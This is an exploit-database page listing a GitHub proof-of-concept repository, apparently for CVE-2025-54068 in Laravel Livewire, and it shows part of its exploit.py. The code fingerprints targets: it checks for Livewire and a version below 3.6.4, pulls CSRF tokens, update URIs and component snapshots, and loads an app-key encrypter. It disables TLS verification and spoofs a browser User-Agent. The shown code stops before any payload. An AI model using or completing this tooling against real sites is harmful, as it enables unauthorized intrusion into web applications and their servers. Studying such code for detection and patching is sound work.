Exploit database

GH-2f3ee66d1ded166adfe6766ac21f8850

haxorstars/cve-2025-54068

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-54068

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
haxorstars/cve-2025-54068Revision 4b7dbc0575f2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit.py

Python · 8,339 bytes
import sys
import json
import requests
import logging
import socket
import ssl

from requests.exceptions import RequestException
from urllib.parse import urlparse
from importlib.resources import files

from .laravel_crypto.laravel_encrypter import LaravelEncrypter

class ColorFormatter(logging.Formatter):
    COLORS = {
        'ERROR': '\033[91m',
        'INFO': '\033[92m',
        'DEBUG': '\033[94m',
        'WARNING': '\033[33m',
        'RESET': '\033[0m'
    }

    def format(self, record):
        color = self.COLORS.get(record.levelname, self.COLORS['RESET'])
        message = super().format(record)
        return f"{color}{message}{self.COLORS['RESET']}"
    
def format_url(url: str) -> str:
    """Auto-detect and add protocol if missing"""
    url = url.strip()
    
    if url.startswith(("http://", "https://")):
        return url
    
    # Quick protocol detection
    def test_protocol(protocol, timeout=2):
        try:
            test_url = f"{protocol}{url}"
            response = requests.head(
                test_url, 
                timeout=timeout, 
                verify=False, 
                allow_redirects=True,
                headers={'User-Agent': 'Mozilla/5.0'}
            )
            return response.status_code < 500
        except:
            return False
    
    # Try HTTPS first (modern sites)
    if test_protocol("https://"):
        return f"https://{url}"
    
    # Try HTTP
    if test_protocol("http://"):
        return f"http://{url}"
    
    # Default to HTTPS
    print(f"[*] Could not detect protocol for {url}, defaulting to HTTPS")
    return f"https://{url}"

def get_base_url(full_url):
    """Extract base URL (protocol + domain)"""
    parsed = urlparse(full_url)
    return f"{parsed.scheme}://{parsed.netloc}/"

def validate_url(url: str) -> bool:
    """Validate URL format"""
    try:
        parsed = urlparse(url)
        return all([parsed.scheme, parsed.netloc])
    except:
        return False

# Setup logging
handler = logging.StreamHandler(sys.stdout)
formatter = ColorFormatter("[%(levelname)s] %(message)s")
handler.setFormatter(formatter)

class Exploit:
    def __init__(self, url, debug, function, param, headers, proxy_url, app_key=None, check=False):
        self.logger = logging.getLogger("exploit")
        self.logger.addHandler(handler)
        self.logger.setLevel(logging.INFO)
        
        # Format URL dan validasi
        self.original_url = url
        self.url = format_url(url)
        
        if not validate_url(self.url):
            self.logger.error(f"Invalid URL format: {self.url}")
            raise ValueError(f"Invalid URL: {self.url}")
        
        self.base_url = get_base_url(self.url)
        self.function = function
        self.only_check = check
        self.param = param
        self.token = None
        self.update_uri = None
        self.page_content = None
        self.livewire_versions = json.loads((files("exploit") / "versions.json").read_text(encoding="utf-8"))
        
        if app_key is not None:
            self.app_key = app_key
            self.laravel_encrypter = LaravelEncrypter(app_key)
        
        if debug:
            self.logger.setLevel(logging.DEBUG)
            self.logger.debug(f"Original URL: {self.original_url}")
            self.logger.debug(f"Formatted URL: {self.url}")
            self.logger.debug(f"Base URL: {self.base_url}")
        
        # Setup session
        self.session = requests.Session()
        self.session.proxies.update({} if proxy_url is None else {"http": proxy_url, "https": proxy_url})
        self.session.headers.update({} if headers is None else self.parse_headers(headers))
        self.session.verify = False
        
        # Add default headers if not present
        if 'User-Agent' not in self.session.headers:
            self.session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'

    def parse_headers(self, header_list):
        headers = {}
        if header_list:
            for h in header_list:
                if ":" not in h:
                    self.logger.debug(f"Malformed header: {h}, ignoring")
                    continue
                key, value = h.split(":", 1)
                headers[key.strip()] = value.strip()
        return headers
    
    def check_livewire(self):
        self.logger.debug(f"Checking for Livewire at {self.url}")
        if "livewire" in self.page_content.text.lower():
            return True
        else:
            return False
    
    def check_livewire_version(self):
        self.logger.debug(f"Checking livewire version at {self.url}")
        ret = False
        for version, version_hash in self.livewire_versions.items():
            if version_hash in self.page_content.text.lower():
                if version.replace("v","") < "3.6.4":
                    self.logger.info(f"The remove livewire version is {version}, the target is vulnerable.")
                    ret = True
                    break
                else:
                    self.logger.error(f"The remove livewire version is {version}, the target is patched.")
                    ret = False
                    break
        return ret
        
    def check_snapshot(self):
        self.logger.debug(f"Checking for snapshots at {self.url}")
        if "wire:snapshot" in self.page_content.text.lower():
            return True
        else:
            return False

    def get_csrf_token(self, html_content):
        """Extract CSRF token from HTML"""
        import re
        
        patterns = [
            r'name="csrf-token"\s+content="([^"]+)"',
            r'csrf-token"\s+content="([^"]+)"',
            r'data-csrf="([^"]+)"',
            r'name="_token"\s+value="([^"]+)"',
            r'XSRF-TOKEN=([^;]+)'
        ]
        
        for pattern in patterns:
            match = re.search(pattern, html_content)
            if match:
                return match.group(1)
        
        # Try to find in JSON config
        if "livewireScriptConfig" in html_content:
            try:
                config_text = html_content.split("livewireScriptConfig = ")[1].split(";")[0]
                config = json.loads(config_text)
                return config.get("csrf")
            except:
                pass
        
        return None
    
    def get_update_uri(self, html_content):
        """Extract Livewire update URI"""
        import re
        
        patterns = [
            r'data-update-uri="([^"]+)"',
            r'update-uri="([^"]+)"'
        ]
        
        for pattern in patterns:
            match = re.search(pattern, html_content)
            if match:
                uri = match.group(1)
                if uri.startswith(("http://", "https://")):
                    return uri
                else:
                    return uri.lstrip('/')
        
        # Try JSON config
        if "livewireScriptConfig" in html_content:
            try:
                config_text = html_content.split("livewireScriptConfig = ")[1].split(";")[0]
                config = json.loads(config_text)
                uri = config.get("uri", "")
                if uri:
                    return uri.lstrip('/')
            except:
                pass
        
        return None
    
    def check_array_param(self, snapshot_params):
        """Check for parameters with object type"""
        ret = None
        strict_synth = ["str","std","int","float","mdl"]
        
        for param in snapshot_params.keys():
            try:
                for entry in snapshot_params[param]:
                    try:
                        if entry.get('s') and entry['s'] not in strict_synth:
                            ret = param
                            break
                    except Exception as e:
                        self.logger.debug(f"Error while loading as json: {e}")
                        continue
            except Exception as e:
                self.logger.debug(f"Param {param} is not a dict.")
                continue
            if ret is not None:
                break
        return ret
    
    def extract_snapshots(self, html_content):
        """Extract all snapshots from HTML"""
        import re
        return re.findall(r'wire:snapshot="([^"]*)"', html_content)